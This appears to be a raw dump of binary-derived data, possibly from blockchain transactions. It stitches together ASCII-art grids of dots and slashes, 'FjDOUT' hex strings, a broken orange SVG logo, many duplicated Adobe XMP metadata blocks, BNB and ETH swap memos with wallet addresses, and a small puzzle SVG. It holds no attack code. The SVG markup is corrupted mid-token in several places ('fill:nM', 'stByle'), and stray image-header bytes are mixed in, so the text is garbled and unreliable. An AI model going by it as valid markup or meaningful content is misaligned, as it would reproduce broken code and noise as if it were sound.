||||-|||-|||-||--||---|------------------|---||--||-|||-|||-||||
+--||..........++--|||.......++--++.......|||--++..........||--+
..--|....+-|....+-||...++|....+--+....|++...||-+....|-+....|--..
|..-|..+-...+-...+|...-|..+-|..--..|-+..|-...|+...-+...-+..|-..|
-|.+|..-|.+-..-|.+-..-|.+-..-|.++.|-..-+.|-..-+.|-..-+.|-..|+.|-
FjDOUT:10403FAB71D3FF43F1EA2B5A4856611CB39164BC1293A560CE24610409F17B88
FjDOUT:F6D7E20A9C01AE660FBBEE6CCF7D9E7A636191ABA5AFB4898C2C0E2EB24FB8DF
FjDOUT:45C864CB4E69DC6CF40D199AD296A10170D0E2083064756AAE82D751272D5337
FjDOUT:DCFCEEDB26F26EE3473BC3524498718F02D0BBDDC2DDB0F7D6D3742444DEEC9A
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 0 512 512" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" xmlns:serif="http://www.serif.com/" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:2;">
    <rect id="Artboard1" x="0" y="0" width="512" height="512" style="fill:nM
    <clipPath id="_clip1">
        <rect id="Artboard11" serif:id="Artboard1" x="0" y="0" width="512" height="512"/>
    <g clip-path="url(#_clip1)">
        <g transform="matrix(1.07648,0,0,1.07648,-32.6876,-24.7446)">
            <circle cx="268.177" cy="260.799" r="237.812" style="fill:rgb(245,103,51);"/>
        <g transform="matrix(0.850331,0,0,0.849918,38.3155,29.5376)">
            <g transform="matrix(0.465394,0,2.66454e-17,0.456748,61.31,91.1071)">
                <pathM
 d="M125.893,67.254C125.893,38.239 102.786,14.683 74.324,14.683C45.862,14.683 22.755,38.239 22.755,67.254L22.755,446.564C22.755,475.579 45.862,499.135 74.324,499.135C102.786,499.135 125.893,475.579 125.893,446.564L125.893,67.254Z" style="fill:white;"/>
            <g transform="matrix(0.465394,1.03177e-05,-8.06779e-06,0.363909,381.51,138.367)">
                <path d="M125.893,80.666C125.893,44.249 102.786,14.683 74.324,14.683C45.862,14.683 22.755,44.249 22.755,80.666L22.755,433.152C22.755,469.569M
 45.862,499.135 74.324,499.135C102.786,499.135 125.893,469.569 125.893,433.152L125.893,80.666Z" style="fill:white;"/>
            <g transform="matrix(1.83083,0,0,1.83083,-204.135,-559.322)">
                <path d="M150.825,466.966C150.825,522.471 195.82,567.466 251.325,567.466C306.83,567.466 351.826,522.471 351.826,466.966L325.696,466.966C325.696,508.039 292.399,541.336 251.325,541.336C210.252,541.336 176.955,508.039 176.955,466.966L150.825,466.966Z" style="fill:white;"/>
      <g transform="matrix(0.465394,0,0,0.33027,148.41,187.151)">
                <path d="M125.893,87.386C125.893,47.26 102.786,14.683 74.324,14.683C45.862,14.683 22.755,47.26 22.755,87.386L22.755,426.432C22.755,466.558 45.862,499.135 74.324,499.135C102.786,499.135 125.893,466.558 125.893,426.432L125.893,87.386Z" style="fill:white;"/>
            <g transform="matrix(0.465394,0,0,0.33027,221.41,187.151)">
                <path d="M125.893,87.386C125.893,47.26 102.786,14.683 74.324,14.683C45.862,14M
.683 22.755,47.26 22.755,87.386L22.755,426.432C22.755,466.558 45.862,499.135 74.324,499.135C102.786,499.135 125.893,466.558 125.893,426.432L125.893,87.386Z" style="fill:white;"/>
            <g transform="matrix(0.465394,0,0,0.33027,294.41,187.151)">
                <path d="M125.893,87.386C125.893,47.26 102.786,14.683 74.324,14.683C45.862,14.683 22.755,47.26 22.755,87.386L22.755,426.432C22.755,466.558 45.862,499.135 74.324,499.135C102.786,499.135 125.893,466.558 125.893,426.432L125.893,87.386Z" stByle="fill:white;"/>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:EB598B6DABD011EDA4578D4BB8F4F49D" xmpMM:DocumentID="xmp.did:EB598B6EABD011EDA4578D4BB8F4F49D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EB598B6BABD011EDA4578D4BB8F4F49D" stRef:documentID="xmp.did:EB598B6CABD011EDA4578D4BB8F4F49D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
@j>=:BNB.BNB:bnb1yl9fr4lpfxr07gh8ylj2yssnqr3jgqk0dsx77q:342837::0
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0052/4096 3,1,2,1,0 ~0.590092753758654-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 5,2 5,4 0,0 "/>
<polyline fill="#36EEE0" points="8,0 7,1 7,3 8,8 "/>
<polyline fill="#F652A0" points="8,8 1,4 2,4 0,8 "/>
<polyline fill="#36EEE0" points="0,0 2,2 2,4 8,0 "/>
Aj?=:ETH.ETH:0x06be5adD314a249d35050Fa9a0f6cFDd50CFa4B8:3212665::0
FjDOUT:55FB05821D65A252F6DAC2EB85059173DEFCB3FFE6A8753780DEC549269C2C3F
FjDOUT:411544CB0B4ACFEF78E36303D7F36FD7409BAD232734874008C7BF86F655CE14
FjDOUT:6196FC520C76ED57D980E7D45FBF3CBAA62E65EF71889E50F5345A1619264F96
FjDOUT:E7CBC86FBD4D1E47112417CB1C156D876C0307668E27ECEDB5B07DE1598E1042
FjDOUT:1859555D7D9D3532335BE79CD68184531AE571B666509C706C43AC52064A29DD
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:4BCF380CABCE11EDA9B994903D34A928" xmpMM:DocumentID="xmp.did:4BCF380DABCE11EDA9B994903D34A928"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4BCF380AABCE11EDA9B994903D34A928" stRef:documentID="xmp.did:4BCF380BABCE11EDA9B994903D34A928"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:A6718011ABCF11EDA928EE2F2D776C16" xmpMM:DocumentID="xmp.did:A6718012ABCF11EDA928EE2F2D776C16"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A671800FABCF11EDA928EE2F2D776C16" stRef:documentID="xmp.did:A6718010ABCF11EDA928EE2F2D776C16"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
.\.X./...X..\.\././.X...X\...\.//.\...\X...X././.\.\..X.../.X.\.
\....\.X.X\.\.X..../.X..\.X.X..//..X.X.\..X./....X.\.\X.X.\....\
....X../.X../../.X\./..\..\.X..\\..X.\..\../.\X./../..X./..X....
X../..X\./..X..X\.....\.X.../.X\\X./...X.\.....\X..X../.\X../..X
..X...\../\.X/..X\..\..X.../..X//X../...X..\..\X../X.\/..\...X..
/\.../..X/...X\..X\.../.../...X\\X.../.../...\X..\X.../X../...\/
...X\....\\.../\...//...X/...XX..XX.../X...//...\/...\\....\X...
.X/\...X/\.....X/\....X\....X/\..\/X....\X....\/X.....\/X...\/X.
.....X.//.\....../X\\.......//\\\\//.......\\X/......\.//.X.....
XXX///\\.............XXX///\\......\\///XXX.............\\///XXX
.\..\.\.\.\.\.\\.\.\.\.\.\\.\.\..\.\.\\.\.\.\.\.\\.\.\.\.\.\..\.
............\///XX.XX......................XX.XX///\............
\\/XX.....\\\XX......\.//X............X//.\......XX\\\.....XX/\\
..../X...../X...../X.....\/........../\.....X/.....X/.....X/....
\X...\/...\/X...\XX...\....\/....../\....\...XX\...X/\.../\...X\
../X..\X..\/.../....X.../...\X....X\.../...X..../.../\..X\..X/..
/..\X../...X..\...\...X..\.../..../...\..X...\...\..X.../..X\../
..X.\X.\/.\X..X..X../..\../../..../../..\../..X..X..X\./\.X\.X..
/.\..\..X..../X.\../....\..X..X..X..X..\..../..\.X/....X..\..\./
./..../.\.\X.X..../.\.\X.X..../../....X.X\.\./....X.X\.\./..../.
X./.\./.\..X...X./.\.\.\..X.X.X..X.X.X..\.\.\./.X...X..\./.\./.X
.X.......X\.\.......\./.\.\.\./../.\.\.\./.\.......\.\X.......X.
...\./.X.X....\.X..\./.X./.X..\..\..X./.X./.\..X.\....X.X./.\...
..\.X..\.X\./....\.X\.X.X\.X........X.\X.X.\X.\..../.\X.\..X.\..
X\.X..X../../../..\..\.X..X../..../..X..X.\..\../../../..X..X.\X
\...../../\.X\..\..X../\.X/../..../../X.\/..X..\..\X.\/../.....\
.X\../.../\../.../..X\..X/.../..../.../X..\X../.../..\/.../..\X.
..../....\....\...X...XX...X/....../X...XX...X...\....\..../....
.XX/...X/\\.../\....X\...../......../.....\X....\/...\\/X.../XX.
\.....X//......X//......///..........///......//X......//X.....\
...XXXX\\.\.......X/X/\..................\/X/X.......\.\\XXXX...
//\\/\..\..............................................\..\/\\//
.............\\.\//\\XX/XX/X..XXXX..X/XX/XX\\//\.\\.............
//..........//X/X........../XXXXXXXX/..........X/X//..........//
.../XX....../XX....\\X......\\X..X\\......X\\....XX/......XX/...
X....\X....\/....\/X...\XX...\X..X\...XX\...X/\..../\....X\....X
..X...\X...\...\/...\/...//.../XX/...//.../\.../\...\...X\...X..
X../.../.../.../..\X..\X.../...//.../...X\..X\../.../.../.../..X
.X..\..\X../../.....\/../../X..XX..X/../../\...../../..X\..\..X.
../../..X..X.\..\../../../..X..XX..X../../../..\..\.X..X../../..
\X.\....\..../../.\..X./..X.\..//..\.X../.X..\./../....\....\.X\
..X./.\.\....X./....X././.\....XX....\././.X..../.X....\.\./.X..
....\.\........X.X...X.X././.X.XX.X././.X.X...X.X........\.\....
./././.X......\./.X./.X..\.\.\.\\.\.\.\..X./.X./.\......X./././.
/./.X\.\..../.X.X\.\..../.X.X\.\\.\X.X./....\.\X.X./....\.\X././
./../.X..X..\../.X..X..\..\./..//../.\..\..X..X./..\..X..X./../.
\../../..X..X\./\.X\.X......\..//..\......X.\X.\/.\X..X../../..\
../...\..X..X/../\.X/../\../..X\\X../..\/../X.\/../X..X..\.../..
X....\.../...X\..//..X/.../\../../..\/.../X..//..\X.../...\....X
..XX....//....\\...X\..../...XX\\XX.../....\X...\\....//....XX..
X/\.....X\.....X/\....X/\....X/\\/X....\/X....\/X.....\X.....\/X
.....XXX\\......XX\/........///..///......../\XX......\\XXX.....
XX///\/\\\..............X//\\......\\//X..............\\\/\///XX
................................................................
...........\\\//XXX..........................XXX//\\\...........
./\XX......\\X/.......\\XX............XX\\......./X\\......XX\/.
....\X.....\X......\X....\/X........X/\....X\......X\.....X\....
